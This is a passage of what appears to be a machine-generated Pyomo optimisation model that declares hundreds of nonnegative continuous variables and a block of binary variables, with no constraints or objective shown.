m.x174 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x175 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x176 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x177 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x178 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x179 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x180 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x181 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x182 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x183 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x184 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x185 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x186 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x187 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x188 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x189 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x190 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x191 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x192 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x193 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x194 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x195 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x196 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x197 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x198 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x199 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x200 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x201 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x202 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x203 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x204 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x205 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x206 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x207 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x208 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x209 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x210 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x211 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x212 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x213 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x214 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x215 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x216 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x217 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x218 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x219 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x220 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x221 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x222 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x223 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x224 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x225 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x226 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x227 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x228 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x229 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x230 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x231 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x232 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x233 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x234 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x235 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x236 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x237 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x238 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x239 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x240 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x241 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x242 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x243 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x244 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x245 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x246 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x247 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x248 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x249 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x250 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x251 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x252 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x253 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x254 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x255 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x256 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x257 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x258 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x259 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x260 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x261 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x262 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x263 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x264 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x265 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x266 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x267 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x268 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x269 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x270 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x271 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x272 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x273 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x274 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x275 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x276 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x277 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x278 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x279 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x280 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x281 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x282 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x283 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x284 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x285 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x286 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x287 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x288 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x289 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x290 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x291 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x292 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x293 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x294 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x295 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x296 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x297 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x298 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x299 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x300 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x301 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x302 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x303 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x304 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x305 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x306 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x307 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x308 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x309 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x310 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x311 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x312 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x313 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x314 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x315 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x316 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x317 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x318 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x319 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x320 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x321 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x322 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x323 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x324 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x325 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x326 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x327 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x328 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x329 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x330 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x331 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x332 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x333 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x334 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x335 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x336 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x337 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x338 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x339 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x340 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x341 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x342 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x343 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x344 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x345 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x346 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x347 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x348 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x349 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x350 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x351 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x352 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x353 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x354 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x355 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x356 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x357 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x358 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x359 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x360 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x361 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x362 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x363 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x364 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x365 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x366 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x367 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x368 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x369 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x370 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x371 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x372 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x373 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x374 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x375 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x376 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x377 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x378 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x379 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x380 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x381 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x382 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x383 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x384 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x385 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x386 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x387 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x388 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x389 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x390 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x391 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x392 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x393 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x394 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x395 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x396 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x397 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x398 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x399 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x400 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x401 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x402 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x403 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x404 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x405 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x406 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x407 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x408 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x409 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x410 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x411 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x412 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x413 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x414 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x415 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x416 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x417 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x418 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x419 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x420 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x421 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x422 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x423 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x424 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x425 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x426 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x427 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x428 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x429 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x430 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x431 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x432 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x433 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x434 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x435 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x436 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x437 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x438 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x439 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x440 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x441 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x442 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x443 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x444 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x445 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x446 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x447 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x448 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x449 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x450 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x451 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x452 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x453 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x454 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x455 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x456 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x457 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x458 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x459 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x460 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x461 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x462 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x463 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x464 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x465 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x466 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x467 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x468 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x469 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x470 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x471 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x472 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x473 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x474 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x475 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x476 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x477 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x478 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x479 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x480 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x481 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x482 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x483 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x484 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x485 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x486 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x487 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x488 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x489 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x490 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x491 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x492 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x493 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x494 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x495 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x496 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x497 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x498 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x499 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x500 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x501 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x502 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x503 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x504 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x505 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x506 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x507 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x508 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x509 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x510 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x511 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x512 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x513 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x514 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x515 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x516 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x517 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x518 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x519 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x520 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x521 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x522 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x523 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x524 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x525 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x526 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x527 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x528 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x529 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x530 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x531 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x532 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x533 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x534 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x535 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x536 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x537 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x538 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x539 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x540 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x541 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x542 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x543 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x544 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x545 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x546 = Var(within=Reals,bounds=(0,None),initialize=0)
m.b547 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b548 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b549 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b550 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b551 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b552 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b553 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b554 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b555 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b556 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b557 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b558 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b559 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b560 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b561 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b562 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b563 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b564 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b565 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b566 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b567 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b568 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b569 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b570 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b571 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b572 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b573 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b574 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b575 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b576 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b577 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b578 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b579 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b580 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b581 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b582 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b583 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b584 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b585 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b586 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b587 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b588 = Var(within=Binary,bounds=(0,1),initialize=0)
m.x589 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x590 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x591 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x592 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x593 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x594 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x595 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x596 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x597 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x598 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x599 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x600 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x601 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x602 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x603 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x604 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x605 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x606 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x607 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x608 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x609 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x610 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x611 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x612 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x613 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x614 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x615 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x616 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x617 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x618 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x619 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x620 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x621 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x622 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x623 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x624 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x625 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x626 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x627 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x628 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x629 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x630 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x632 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x633 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x634 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x635 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x636 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x637 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x638 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x639 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x640 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x641 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x642 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x643 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x644 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x645 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x646 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x647 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x648 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x649 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x650 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x651 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x652 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x653 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x654 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x655 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x656 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x657 = Var(within=Reals,bounds=(0,None),initialize=0)
